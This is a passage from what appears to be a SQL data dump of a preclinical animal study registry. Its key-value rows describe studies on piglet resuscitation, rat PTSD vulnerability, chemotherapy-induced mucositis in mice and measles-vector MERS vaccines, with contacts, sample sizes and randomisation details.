	(6344,149,'experimental_design','\"Newborn piglet model of hypoxia asphyxia-induced asystole.\"','2022-03-31 13:23:45','2022-03-31 13:23:45'),
	(6345,149,'sample_size_calculation','\"yes\"','2022-03-31 13:23:45','2022-03-31 13:23:45'),
	(6346,149,'sample_size_calculation_details','\"Our previous studies showed a mean (SD) time to achieve ROSC of 120 (25) seconds. We hypothesize that piglets resuscitated with different SI pressures during CPR will have a faster time to ROSC. A sample size of 8 per group would be was sufficient to detect a clinically important (30%) reduction in time to achieve ROSC (i.e. 84sec vs. 120sec), to achieve similar times to ROSC, with 80% power and a 2-tailed alpha error of 0.05.\"','2022-03-31 13:23:45','2022-03-31 13:23:45'),
	(6347,149,'sum_of_animals','\"38\"','2022-03-31 13:23:45','2022-03-31 13:23:45'),
	(6348,149,'study_arms','[{\"type\":\"intervention\",\"number\":\"8\",\"intervention\":\"SI of 10 cmH2O\"},{\"type\":\"intervention\",\"number\":\"8\",\"intervention\":\"SI of 20 cm H2O\"},{\"type\":\"intervention\",\"number\":\"8\",\"intervention\":\"SI of 10 cmH2O\"},{\"type\":\"intervention\",\"number\":\"8\",\"intervention\":\"3:1 C:V\"},{\"type\":\"sham\",\"number\":\"6\",\"intervention\":\"Sham\"}]','2022-03-31 13:23:45','2022-03-31 13:23:45'),
	(6349,149,'randomisation','\"yes\"','2022-03-31 13:23:45','2022-03-31 13:23:45'),
	(6350,149,'randomisation_method_used','\"computer-generated_random_number_sequence\"','2022-03-31 13:23:45','2022-03-31 13:23:45'),
	(6351,149,'details_randomisation','\"block_randomisation\"','2022-03-31 13:23:45','2022-03-31 13:23:45'),
	(6352,149,'investigators_blinded_intervention','\"yes\"','2022-03-31 13:23:45','2022-03-31 13:23:45'),
	(6353,149,'yes_blinded_intervention_partially_details','\"Yes\"','2022-03-31 13:23:45','2022-03-31 13:23:45'),
	(6354,149,'placebo_controlled','\"no\"','2022-03-31 13:23:45','2022-03-31 13:23:45'),
	(6355,149,'has_embargo','\"no\"','2022-03-31 13:23:45','2022-03-31 13:23:45'),
	(6356,150,'title','\"Trauma in context: The predictive value of memory contextualization for vulnerability to posttraumatic\\nstress disorder in rats\"','2022-03-31 13:23:45','2022-03-31 13:23:45'),
	(6357,150,'short_title','\"TIC\"','2022-03-31 13:23:45','2022-03-31 13:23:45'),
	(6358,150,'contact_name','\"Milou Sep\"','2022-03-31 13:23:45','2022-03-31 13:23:45'),
	(6359,150,'contact_role','\"executive researcher\"','2022-03-31 13:23:45','2022-03-31 13:23:45'),
	(6360,150,'contact_email','\"m.s.c.sep-2@umcutrecht.nl\"','2022-03-31 13:23:45','2022-03-31 13:23:45'),
	(6361,150,'study_centre','[{\"name\":\"UMC Utrecht Brain Center \\/ Translational Neuroscience\",\"city\":\"Utrecht\",\"country\":\"NL\"},{\"name\":\"Brain Research and Innovation Centre, Ministry of Defence\",\"city\":\"Utrecht\",\"country\":\"NL\"}]','2022-03-31 13:23:45','2022-03-31 13:23:45'),
	(6362,150,'financial_support','[\"grants\"]','2022-03-31 13:23:45','2022-03-31 13:23:45'),
	(6363,150,'start_date','\"2018-11-12\"','2022-03-31 13:23:45','2022-03-31 13:23:45'),
	(6364,150,'end_date','\"2021-01-01\"','2022-03-31 13:23:45','2022-03-31 13:23:45'),
	(6365,150,'study_status','\"active\"','2022-03-31 13:23:45','2022-03-31 13:23:45'),
	(6366,150,'research_field','\"neuroscience\"','2022-03-31 13:23:45','2022-03-31 13:23:45'),
	(6367,150,'hypothesis','\"pre-trauma memory contextualization (under stress) predicts vulnerability to posttraumatic stress disorder\"','2022-03-31 13:23:45','2022-03-31 13:23:46'),
	(6368,150,'intervention_type','\"other\"','2022-03-31 13:23:45','2022-03-31 13:23:45'),
	(6369,150,'other_intervention_type','\"risk factors in a prospective design\"','2022-03-31 13:23:45','2022-03-31 13:23:45'),
	(6370,150,'study_stage','\"study_stage_2_value\"','2022-03-31 13:23:45','2022-03-31 13:23:45'),
	(6371,150,'exclusive_animal_use','\"yes\"','2022-03-31 13:23:45','2022-03-31 13:23:45'),
	(6372,150,'species','\"rat\"','2022-03-31 13:23:45','2022-03-31 13:23:45'),
	(6373,150,'sex','\"male\"','2022-03-31 13:23:45','2022-03-31 13:23:45'),
	(6374,150,'experimental_design','\"cut-off behavioral criteria (CBC) model for PTSD (Cohen et al., 2004; Cohen et al. 2018)\"','2022-03-31 13:23:45','2022-03-31 13:23:45'),
	(6375,150,'sample_size_calculation','\"yes\"','2022-03-31 13:23:45','2022-03-31 13:23:45'),
	(6376,150,'strain','\"Sprague Dawley (experimental animal)\\nLong Evans (for social stress via resident\\/intruder test)\"','2022-03-31 13:23:45','2022-03-31 13:23:45'),
	(6377,150,'study_arms','[{\"type\":\"other\",\"number\":\"28\",\"intervention\":\"measured pre-trauma riskfactor: Memory contextualisation without stress\"},{\"type\":\"other\",\"number\":\"28\",\"intervention\":\"measured pre-trauma riskfactor: Memory contextualisation after (direct or delayed) stress\"}]','2022-03-31 13:23:45','2022-03-31 13:23:45'),
	(6378,150,'link_to_data','\"https:\\/\\/osf.io\\/v7m28\\/\"','2022-03-31 13:23:45','2022-03-31 13:23:45'),
	(6379,150,'has_embargo','\"yes\"','2022-03-31 13:23:45','2022-03-31 13:23:45'),
	(6380,150,'original_animal_ethics_committee_application','\"https:\\/\\/www.ivd-utrecht.nl\\/assets\\/Vergunningen-2018\\/AVD1150020186349-Redacted-V3.pdf\"','2022-03-31 13:23:45','2022-03-31 13:23:45'),
	(6381,150,'application_number','\"AVD1150020186349\"','2022-03-31 13:23:45','2022-03-31 13:23:45'),
	(6382,150,'placebo_controlled','\"no\"','2022-03-31 13:23:45','2022-03-31 13:23:45'),
	(6383,150,'sample_size_calculation_details','\"Although the effect size of memory contextualization on PTSD is currently unknown, we can use previous studies for a sample size calculation. Memory contextualization is thought to be hippocampus-dependent [Maren et al., 2013]. Earlier studies found a small to medium effect (r=0.2036) of another form of hippocampus-dependent learning on PTSD susceptibility in rats [Goswami et al.,2012]. Previously, a small to medium effect (i.e. r=0.233) of a predictor was detected in a prospective cohort study with the CBC model that was performed in 26 animals [Danan et al.,2017]. From these animals, 7 developed \\u201cPTSD\\u201d (EBR; 26,9%), 8 were classified as resilient (MBR; 30,8%) and 11 showed a partial behavioral response (PBR; 42,3%). From labs with extensive experience with the CBC model, we know that \\u201cPTSD\\u201d rates can drop to 10%. To ensure sufficient power in our study, we use this conservative rate (i.e. 10%) for the sample size calculation. This means that we need (100%*7)\\/10%=70 experimental rats per group, to get at least seven rats in the smallest group (i.e. EBR) if the \\u201cPTSD\\u201d rate is 10%. \\n\\nSince \\u201cPTSD\\u201d rates of ~25% are also reported with the CBC model [Danan et al, 2017, Cohen et al. 2018, Cohen et al. 2012], the number of animals with the PTSD phenotype will be counted after inclusion of (100%*7)\\/25%=28 rats per experimental group, to prevent unnecessary inclusion of animals.\"','2022-03-31 13:23:45','2022-03-31 13:23:45'),
	(6384,150,'sum_of_animals','\"28 or 70 animal per experimental group (This depends on the effectivity of the CBC model in our hands, see section 21).\"','2022-03-31 13:23:45','2022-03-31 13:23:45'),
	(6385,150,'randomisation','\"yes\"','2022-03-31 13:23:45','2022-03-31 13:23:45'),
	(6386,150,'details_randomisation','\"block_randomisation\"','2022-03-31 13:23:45','2022-03-31 13:23:45'),
	(6387,150,'investigators_blinded_intervention','\"yes_partially\"','2022-03-31 13:23:45','2022-03-31 13:23:45'),
	(6388,150,'yes_blinded_intervention_how_details','\"Investigators are not blinded to the experimental group, but remain blinded to pre- and post-trauma performance, until all measurements of an individual are completed. in other words, data will only be analyzed after all data-points of an individual are collected.\"','2022-03-31 13:23:45','2022-03-31 13:23:45'),
	(6389,150,'yes_blinded_intervention_partially_details','\"Yes\"','2022-03-31 13:23:45','2022-03-31 13:23:45'),
	(6390,150,'randomisation_method_used','\"computer-generated_random_number_sequence\"','2022-03-31 13:23:45','2022-03-31 13:23:45'),
	(6391,150,'primary_readout_parameter','\"Efficacy: The relation between pre-trauma memory contextualization (measured with the discrimination ration in the object in context task) and anxiety behavior after trauma (measured with acoustic startle reactivity and the elevated plus maze) in individual rats\"','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6392,150,'secondary_readout_parameter','\"- determine if memory contextualization (object in context task) is affected by trauma exposure or a stable trait (i.e. stable pre- and post-trauma levels)\\n- determine if pre-trauma memory contextualization (object in context task) predicts the contextualization of trauma-related information (re-exposure to trauma context)\\n- determine the relationship between HPA-axis reactivity (cortisol) during trauma and subsequent PTSD susceptibility (based on the elevated plus maze and acoustic startle)\"','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6393,151,'title','\"Effects of peptidoglycan recognition peptide-2 in chemotherapy-induced gastrointestinal toxicity\"','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6394,151,'short_title','\"Peptidoglycan recognition peptide-2 in intestinal inflammation\"','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6395,151,'contact_name','\"Ann-Sophie Bech\"','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6396,151,'contact_role','\"Pregraduate student researcher\"','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6397,151,'contact_email','\"asbech@health.sdu.dk\"','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6398,151,'study_centre','[{\"name\":\"University of Southern Denmark\",\"city\":\"Odense\",\"country\":\"DK\"},{\"name\":\"Odense University Hospital\",\"city\":\"Odense\",\"country\":\"DK\"}]','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6399,151,'financial_support','[\"grants\"]','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6400,151,'start_date','\"2019-06-01\"','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6401,151,'end_date','\"2020-01-01\"','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6402,151,'study_status','\"active\"','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6403,151,'research_field','\"Gastroenterology, pediatrics, oncology\"','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6404,151,'hypothesis','\"Peptidoglycan recognition peptide-2 (PGLYRP2) is upregulated in the intestine of chemotherapeutic treated animals and serves as an important part of the innate mucosal defense. PGLYRP2 ameliorates gastrointestinal mucositis.\"','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6405,151,'study_stage','\"study_stage_1_value\"','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6406,151,'exclusive_animal_use','\"yes\"','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6407,151,'species','\"mouse\"','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6408,151,'strain','\"C57bl\\/6 knock out and wildtype of the gene of peptidoglycan recognition peptide 2 respectively. \"','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6409,151,'sex','\"female\"','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6410,151,'sample_size_calculation','\"yes\"','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6411,151,'investigators_blinded_intervention','\"no\"','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6412,151,'yes_blinded_intervention_partially_details','\"No\"','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6413,151,'placebo_controlled','\"yes\"','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6414,151,'application_number','\"2017-15-0201-01385 and 2017-15-0202-00110\"','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6415,151,'secondary_readout_parameter','\"\\u2022 Objective pathoanatomic signs of oral and intestinal mucositis (intestinal length, assessed after put down).\\n\\u2022 Structural bowel injury (villus height and crypt depths, assessed histologically after put down).\\n\\u2022 Inflammation markers (CD 45, TNF, IL1-\\u03b2, IL-6 and IL-8 are measured by qRT-PCR and ELISA).\\n\\u2022 PGLYRP2 expression and upregulation (immunohistochemical staining of intestinal tissue and PCR).\\n\\u2022 Markers for the mass of functional enterocytes (Citrulline).\\n\\u2022 Feces (16-s analysis).\"','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6416,151,'experimental_design','\"An animal model of gastrointestinal mucositis caused by chemotherapy is applied. We induce gastrointestinal mucositis by intraperitoneal injection of Doxorubicin 20 mg\\/kg. The control group receive an eqivalent amount of saline administered by the same method.\"','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6417,152,'title','\"Cardiopulmonary Resuscitation Techniques to Improve the Recovery of Pediatric Cardiac Arrest\"','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6418,152,'short_title','\"Pediatric CPR Techniques \"','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6419,152,'contact_name','\"Georg Schmolzer\"','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6420,152,'contact_role','\"Principal Investigator\"','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6421,152,'contact_email','\"schmolze@ualberta.ca\"','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6422,152,'study_centre','[{\"name\":\"University of Alberta\",\"city\":\"Edmonton\",\"country\":\"CA\"}]','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6423,152,'financial_support','[\"grants\"]','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6424,152,'start_date','\"2019-05-14\"','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6425,152,'end_date','\"2020-05-01\"','2022-03-31 13:23:46','2022-03-31 13:23:51'),
	(6426,152,'study_status','\"completed_and_published_full-text\"','2022-03-31 13:23:46','2022-03-31 13:24:06'),
	(6427,152,'research_field','\"Pediatrics\"','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6428,152,'hypothesis','\"We hypothesize that using a different chest compression technique (sustained inflations during chest compressions, CC+SI) during cardiopulmonary resuscitation (CPR) will result in reduced times to return of spontaneous circulation (ROSC) compared to resuscitation with continuous chest compression with asynchronized ventilation (CCaV).\"','2022-03-31 13:23:46','2022-03-31 13:24:07'),
	(6429,152,'intervention_type','\"delivery_method\"','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6430,152,'study_stage','\"study_stage_1_value\"','2022-03-31 13:23:46','2022-03-31 13:24:06'),
	(6431,152,'primary_readout_parameter','\"Efficacy: Primary outcome measure is CPR time to achieve ROSC.\"','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6432,152,'secondary_readout_parameter','\"Secondary endpoints are hemodynamic parameters, respiratory parameters, and injury markers.\"','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6433,152,'exclusive_animal_use','\"yes\"','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6434,152,'species','\"pig\"','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6435,152,'sex','\"both\"','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6436,152,'experimental_design','\"Pediatric piglet model of cardiac arrest.\"','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6437,152,'sample_size_calculation','\"yes\"','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6438,152,'sample_size_calculation_details','\"Our primary outcome measure will be time to achieve ROSC. Our pilot studies showed a mean (standard deviation) ROSC of 700 (120) secs during CPR using CCaV. We hypothesized that CC+SI during CPR would reduce time to achieve ROSC. A sample size of 24 piglets (12 per group) was sufficient to detect a clinically important (20%) reduction in time to achieve ROSC (i.e., 700 sec vs. 560 sec), with 80% power and a 2-tailed alpha error of 0.05.\\n\"','2022-03-31 13:23:46','2022-03-31 13:23:50'),
	(6439,152,'sum_of_animals','\"32\"','2022-03-31 13:23:46','2022-03-31 13:23:50'),
	(6440,152,'study_arms','[{\"type\":\"intervention\",\"number\":\"12\",\"intervention\":\"Chest Compressions with Sustained Inflations (CC+SI)\"},{\"type\":\"intervention\",\"number\":\"12\",\"intervention\":\"Chest Compressions with Asynchronous Ventilations (CCaV)\"},{\"type\":\"intervention\",\"number\":\"\",\"intervention\":\"\"},{\"type\":\"intervention\",\"number\":\"\",\"intervention\":\"\"},{\"type\":\"sham\",\"number\":\"8\",\"intervention\":\"Sham\"}]','2022-03-31 13:23:46','2022-03-31 13:23:50'),
	(6441,152,'randomisation','\"yes\"','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6442,152,'randomisation_method_used','\"computer-generated_random_number_sequence\"','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6443,152,'details_randomisation','\"block_randomisation\"','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6444,152,'investigators_blinded_intervention','\"yes\"','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6445,152,'yes_blinded_intervention_partially_details','\"Yes\"','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6446,152,'placebo_controlled','\"no\"','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6447,152,'has_embargo','\"no\"','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6448,153,'contact_name','\"Michael M\\u00fchlebach\"','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6449,153,'contact_role','\"Research Group supervisor\"','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6450,153,'contact_email','\"Michael.Muehlebach@pei.de\"','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6451,153,'title','\"Pre-clinical studies concerning comparability of recombinant vacines derived fro  two different measles Virus vaccin strains exwmplified by the MERS-vaccine concept.\"','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6452,153,'short_title','\"Comparability of MERS-vaccines derived from two different MeV strains\"','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6453,153,'study_centre','[{\"name\":\"Paul-Ehrlich-Institut\",\"city\":\"Langen\",\"country\":\"DE\"}]','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6454,153,'financial_support','[\"grants\"]','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6455,153,'start_date','\"2019-03-19\"','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6456,153,'end_date','\"2020-06-30\"','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6457,153,'study_status','\"active\"','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6458,153,'research_field','\"vaccinology\"','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6459,153,'hypothesis','\"Two recombinant vaccine candidates derived from different, closely related vaccine strains generate comparable immune responses and protection\"','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6460,153,'intervention_type','\"other\"','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6461,153,'other_intervention_type','\"vaccines\"','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6462,153,'study_stage','\"study_stage_2_value\"','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6463,153,'primary_readout_parameter','\"Efficacy: Efficacy will be measured by fraction of surviving animals after pathogen challenge\"','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6464,153,'exclusive_animal_use','\"yes\"','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6465,153,'species','\"mouse\"','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6466,153,'sex','\"both\"','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6467,153,'sample_size_calculation','\"yes\"','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6468,153,'sample_size_calculation_details','\"Fallzahlbegr\\u00fcndung:\\nBei der Negativkontrolle kann davon ausgegangen werden, dass kein Vakzinerfolg beobachtet wird. Zum Zweck der Fallzahlkalkulation, wird die Wahrscheinlichkeit eines Vakzinerfolges in der Negativkontrolle mit 1% angenommen. Die folgende Tabelle gibt die Power (Testst\\u00e4rke) des Fisher-Tests f\\u00fcr den Vergleich von Impfgruppe vs. Negativkontrolle bei jeweils 6 Tieren je Gruppe unter verschiedenen Annahmen \\u00fcber die Wahrscheinlichkeit eines Impferfolges in der Impfgruppe wider:\\n  \\nWahrscheinlichkeit f\\u00fcr Vakzinerfolg in\\nImpfgruppe\\tTestst\\u00e4rke\\n(Power)\\n75%                         72.2%\\n80%                 \\t78.1%\\n85%                 \\t83.5%\\n90%                 \\t88.3%\\n\\nD.h. unter der Annahme, dass ein Impfstoff bei 85% (gegen\\u00fcber 1% in der Negativkontrolle) aller Tiere zu einem Impferfolg f\\u00fchrt, wird dieser Unterschied bei 6 Tieren je Gruppe in einem einseitigen Fisher-Test mit 83% Wahrscheinlichkeit als statistisch signifikant (p &lt; 0.05) erkannt. Daraus ergibt sich eine auswertbare Gruppengr\\u00f6\\u00dfe von sechs M\\u00e4usen in den Immunisierungsexperimenten.\\nF\\u00fcr die geplanten Belastungsexperimente sollen univariante Mittelwerts-vergleiche (Varianzanalyse oder, im Fall von Nicht-Normalverteilung und\\/oder Inhomogenit\\u00e4t der Varianzen, Kruskal-Wallis-Test) durchgef\\u00fchrt werden, denn es wird prim\\u00e4r eine einzige intervallskalierte Variable gemessen, die streut (\\u00dcberlebenszeit). Dabei ist zu bedenken, dass einerseits ein Mindestumfang der Stichproben erforderlich ist, der von Testpower, Signifikanzniveau und Spannweite der Mittelwerte abh\\u00e4ngt (siehe Sachs, Angewandte Statistik, 7. Auflage, S. 623 ff), andererseits aber so wenig M\\u00e4use wie m\\u00f6glich eingesetzt werden sollen. Basierend auf diesen \\u00dcberlegungen sollte der Stichprobenumfang auf 10 M\\u00e4use beschr\\u00e4nkt werden, da die Power der Tests nicht allzu hoch angesetzt werden muss. Dieser Stichprobenumfang w\\u00fcrde auch f\\u00fcr Tests auf Normalverteilung der Daten und Varianzhomogenit\\u00e4t ausreichen.\\n\\n Da Ausf\\u00e4lle von einzelnen Tieren w\\u00e4hrend des Experimentes nicht auszuschlie\\u00dfen sind und diese anschlie\\u00dfend die statistische Auswertbarkeit des gesamten Experimentes gef\\u00e4hrden, soll bei jeder Gruppe eine zus\\u00e4tzliche Maus verwendet werden.. Daraus ergibt sich dann eine tats\\u00e4chliche Gruppengr\\u00f6\\u00dfe von 7 Tieren f\\u00fcr die Impfgruppen und 11 Tieren in den Belastungsversuchen. \\n\"','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6469,153,'study_arms','[{\"type\":\"sham\",\"number\":\"1\",\"intervention\":\"control for naive mice\"},{\"type\":\"control\",\"number\":\"2\",\"intervention\":\"control for empty vector treated mice (2 different vector backbones)\"},{\"type\":\"intervention\",\"number\":\"2\",\"intervention\":\"\"},{\"type\":\"other\",\"number\":\"6\",\"intervention\":\"set up challenge experiment\"}]','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6470,153,'randomisation','\"yes\"','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6471,153,'randomisation_method_used','\"other\"','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6472,153,'other_randomisation_method','\"animals were randomized into different groups to render age- and sex-matched groups\"','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6473,153,'details_randomisation','\"stratified_randomisation\"','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6474,153,'investigators_blinded_intervention','\"no\"','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6475,153,'yes_blinded_intervention_partially_details','\"No\"','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6476,153,'placebo_controlled','\"no\"','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6477,153,'experimental_design','\"IFNAR-knock-out mice transgenic for CD46 (vaccine receptor) and\\/or CD26 (pathogen receptor)\"','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6478,153,'secondary_readout_parameter','\"Induction of humoral and cellular immune responses against target and vector by the vaccine candidates\"','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6479,153,'sum_of_animals','\"212\"','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6480,153,'has_embargo','\"yes\"','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6481,154,'title','\"Pre clinicaltrials\"','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6482,154,'short_title','\"Clinical trials\"','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6483,154,'contact_name','\"srinivas kv\"','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6484,154,'contact_role','\"Executive researcher\"','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6485,154,'contact_email','\"srinivaskv987@gmail.com\"','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6486,154,'study_centre','[{\"name\":\"srinivas k v \",\"city\":\"shidlagatta\",\"country\":\"IN\"}]','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6487,154,'financial_support','[\"other\"]','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6488,154,'other_financial_support','\"Farm\"','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6489,154,'start_date','\"2019-07-01\"','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6490,154,'research_field','\"Cardiology\"','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6491,154,'hypothesis','\"No\"','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6492,154,'intervention_type','\"surgery\"','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6493,154,'study_stage','\"study_stage_1_value\"','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6494,154,'primary_readout_parameter','\"Safety\"','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6495,154,'species','\"mouse\"','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6496,154,'exclusive_animal_use','\"yes\"','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6497,154,'sex','\"both\"','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6498,154,'sample_size_calculation','\"no\"','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6499,155,'title','\"Heart Rate Assessment using Digital Stethoscope and Tap-Based Smartphone Application During Asphyxia in a Porcine Model of Neonatal Resuscitation\"','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6500,155,'short_title','\"Heart Rate Assessment During Neonatal Asphyxia\"','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6501,155,'contact_name','\"Georg Schmolzer\"','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6502,155,'contact_role','\"Principal Investigator\"','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6503,155,'contact_email','\"schmolze@ualberta.ca\"','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6504,155,'study_centre','[{\"name\":\"University of Alberta\",\"city\":\"Edmonton\",\"country\":\"CA\"}]','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6505,155,'financial_support','[\"grants\"]','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6506,155,'start_date','\"2018-09-03\"','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6507,155,'end_date','\"2019-05-10\"','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6508,155,'study_status','\"completed_and_published_full-text\"','2022-03-31 13:23:46','2022-03-31 13:23:50'),
	(6509,155,'research_field','\"Neonatology, Pediatrics\"','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6510,155,'hypothesis','\"We hypothesize that using a digital stethoscope paired with a tap-based smartphone application to assess heart rate during asphyxia will result in similar accuracy compared to heart rate assessment using carotid blood flow.\"','2022-03-31 13:23:46','2022-03-31 13:23:50'),
	(6511,155,'intervention_type','\"compound\"','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6512,155,'study_stage','\"study_stage_2_value\"','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6513,155,'primary_readout_parameter','\"Efficacy: Primary outcome measure is accuracy of assessed heart rate compared to heart rate obtained from carotid blood flow\"','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6514,155,'secondary_readout_parameter','\"Secondary endpoint is the time needed to assess heart rate using digital stethoscope with 6-sec and 10-sec calculation method, and tap-based smartphone application  \"','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6515,155,'exclusive_animal_use','\"yes\"','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6516,155,'species','\"pig\"','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6517,155,'sex','\"both\"','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6518,155,'experimental_design','\" Porcine model of neonatal asphyxia with 0-3 day old piglets; Asphyxia was induced by clamping the endotracheal tube until cardiac arrest.\"','2022-03-31 13:23:46','2022-03-31 13:23:50'),
	(6519,155,'sample_size_calculation','\"no\"','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6520,155,'sum_of_animals','\"20\"','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6521,155,'study_arms','[{\"type\":\"intervention\",\"number\":\"20\",\"intervention\":\"Heart rate assessment during asphyxia using digital stethoscope (6-sec and 10-sec calculation method), tap-based smartphone application, electrocardiography, and carotid blood flow\"}]','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6522,155,'randomisation','\"no\"','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6523,155,'why_no_randomisation','\"Only one group \"','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6524,155,'investigators_blinded_intervention','\"no\"','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6525,155,'yes_blinded_intervention_partially_details','\"No\"','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6526,155,'placebo_controlled','\"no\"','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6527,155,'has_embargo','\"no\"','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6528,151,'intervention_type','\"compound\"','2022-03-31 13:23:46','2022-03-31 13:23:46'),
	(6529,151,'study_arms','[{\"type\":\"\",\"number\":\"5\",\"intervention\":\"\"}]','2022-03-31 13:23:46','2022-03-31 13:23:46'),
